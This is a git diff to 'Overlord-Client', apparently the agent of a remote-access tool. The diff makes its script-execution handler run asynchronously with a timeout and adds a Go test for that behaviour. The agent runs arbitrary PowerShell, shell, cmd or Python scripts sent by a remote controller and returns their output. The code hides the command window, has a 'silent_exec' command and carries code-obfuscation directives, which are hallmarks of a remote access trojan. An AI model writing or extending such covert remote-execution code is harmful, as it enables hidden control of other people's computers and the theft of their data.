Merge branch 'main' into dev

Overlord-Client/cmd/agent/handlers/command.go

@@ -2332,7 +2332,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		if scriptType == "" {
 			scriptType = "powershell"
 		}
-		return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
+		StartScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
+		return nil
 	case "silent_exec":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		if payload == nil {

Overlord-Client/cmd/agent/handlers/script.go

@@ -12,33 +12,46 @@ import (
 	"overlord-client/cmd/agent/wire"
 )
 
+const scriptExecutionTimeout = 5 * time.Minute
+
+func StartScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) {
+	goSafe("script execute", env.Cancel, func() {
+		if err := HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType); err != nil {
+			log.Printf("script: failed to send result for command %s: %v", cmdID, err)
+		}
+	})
+}
+
 func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
 	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
 
+	execCtx, cancel := context.WithTimeout(ctx, scriptExecutionTimeout)
+	defer cancel()
+
 	var cmd *exec.Cmd
 	switch scriptType {
 	case "powershell":
 		if runtime.GOOS == "windows" {
-			cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
+			cmd = exec.CommandContext(execCtx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
 		} else {
 
-			cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
+			cmd = exec.CommandContext(execCtx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
 		}
 	case "bash":
 		if runtime.GOOS == "windows" {
 
-			cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
+			cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent)
 		} else {
-			cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
+			cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent)
 		}
 	case "sh":
-		cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent)
+		cmd = exec.CommandContext(execCtx, "sh", "-c", scriptContent)
 	case "cmd":
 		if runtime.GOOS == "windows" {
-			cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent)
+			cmd = exec.CommandContext(execCtx, "cmd.exe", "/c", scriptContent)
 		} else {
-			return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			return writeScriptCommandResult(env, wire.CommandResult{
 				Type:      "command_result",
 				CommandID: cmdID,
 				OK:        false,
@@ -46,11 +59,11 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin
 			})
 		}
 	case "python":
-		cmd = exec.CommandContext(ctx, "python", "-c", scriptContent)
+		cmd = exec.CommandContext(execCtx, "python", "-c", scriptContent)
 	case "python3":
-		cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent)
+		cmd = exec.CommandContext(execCtx, "python3", "-c", scriptContent)
 	default:
-		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+		return writeScriptCommandResult(env, wire.CommandResult{
 			Type:      "command_result",
 			CommandID: cmdID,
 			OK:        false,
@@ -60,25 +73,21 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin
 
 	hideCmdWindow(cmd)
 
-	timeout := 5 * time.Minute
-	ctx, cancel := context.WithTimeout(ctx, timeout)
-	defer cancel()
-
 	output, err := cmd.CombinedOutput()
 
 	if err != nil {
 
-		if ctx.Err() == context.DeadlineExceeded {
-			return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
+		if execCtx.Err() == context.DeadlineExceeded {
+			return writeScriptResult(env, wire.ScriptResult{
 				Type:      "script_result",
 				CommandID: cmdID,
 				OK:        false,
 				Output:    string(output),
-				Error:     "Script execution timed out after " + timeout.String(),
+				Error:     "Script execution timed out after " + scriptExecutionTimeout.String(),
 			})
 		}
 
-		return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
+		return writeScriptResult(env, wire.ScriptResult{
 			Type:      "script_result",
 			CommandID: cmdID,
 			OK:        false,
@@ -88,10 +97,22 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin
 	}
 
 	log.Printf("script: execution completed successfully (%d bytes output)", len(output))
-	return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
+	return writeScriptResult(env, wire.ScriptResult{
 		Type:      "script_result",
 		CommandID: cmdID,
 		OK:        true,
 		Output:    strings.TrimSpace(string(output)),
 	})
 }
+
+func writeScriptResult(env *agentRuntime.Env, result wire.ScriptResult) error {
+	writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+	defer cancel()
+	return wire.WriteMsg(writeCtx, env.Conn, result)
+}
+
+func writeScriptCommandResult(env *agentRuntime.Env, result wire.CommandResult) error {
+	writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+	defer cancel()
+	return wire.WriteMsg(writeCtx, env.Conn, result)
+}

Overlord-Client/cmd/agent/handlers/script_test.go

@@ -0,0 +1,100 @@
+package handlers
+
+import (
+	"context"
+	goruntime "runtime"
+	"sync"
+	"testing"
+	"time"
+
+	"overlord-client/cmd/agent/config"
+	rt "overlord-client/cmd/agent/runtime"
+	"overlord-client/cmd/agent/wire"
+
+	"github.com/vmihailenco/msgpack/v5"
+	"nhooyr.io/websocket"
+)
+
+type scriptTestWriter struct {
+	mu   sync.Mutex
+	msgs [][]byte
+}
+
+func (w *scriptTestWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
+	w.mu.Lock()
+	defer w.mu.Unlock()
+	w.msgs = append(w.msgs, append([]byte(nil), p...))
+	return nil
+}
+
+func (w *scriptTestWriter) popScriptResult() (wire.ScriptResult, bool, error) {
+	w.mu.Lock()
+	defer w.mu.Unlock()
+	for _, msg := range w.msgs {
+		var result wire.ScriptResult
+		if err := msgpack.Unmarshal(msg, &result); err != nil {
+			return wire.ScriptResult{}, false, err
+		}
+		if result.Type == "script_result" {
+			return result, true, nil
+		}
+	}
+	return wire.ScriptResult{}, false, nil
+}
+
+func TestHandleCommandScriptExecRunsAsync(t *testing.T) {
+	writer := &scriptTestWriter{}
+	env := &rt.Env{
+		Conn: writer,
+		Cfg:  config.Config{},
+	}
+
+	scriptType := "sh"
+	script := "sleep 0.2; echo done"
+	if goruntime.GOOS == "windows" {
+		scriptType = "cmd"
+		script = "ping 127.0.0.1 -n 2 >NUL & echo done"
+	}
+
+	envelope := map[string]interface{}{
+		"type":        "command",
+		"commandType": "script_exec",
+		"id":          "cmd-script-async",
+		"payload": map[string]interface{}{
+			"script": script,
+			"type":   scriptType,
+		},
+	}
+
+	start := time.Now()
+	if err := HandleCommand(context.Background(), env, envelope); err != nil {
+		t.Fatalf("HandleCommand(script_exec) failed: %v", err)
+	}
+	if elapsed := time.Since(start); elapsed > 100*time.Millisecond {
+		t.Fatalf("script_exec blocked dispatcher for %s", elapsed)
+	}
+
+	deadline := time.After(5 * time.Second)
+	for {
+		result, ok, err := writer.popScriptResult()
+		if err != nil {
+			t.Fatalf("failed to decode script result: %v", err)
+		}
+		if ok {
+			if !result.OK {
+				t.Fatalf("expected script ok=true, got error=%q output=%q", result.Error, result.Output)
+			}
+			if result.Output != "done" {
+				t.Fatalf("expected output %q, got %q", "done", result.Output)
+			}
+			return
+		}
+
+		select {
+		case <-deadline:
+			t.Fatal("timed out waiting for script result")
+		default:
+			time.Sleep(10 * time.Millisecond)
+		}
+	}
+}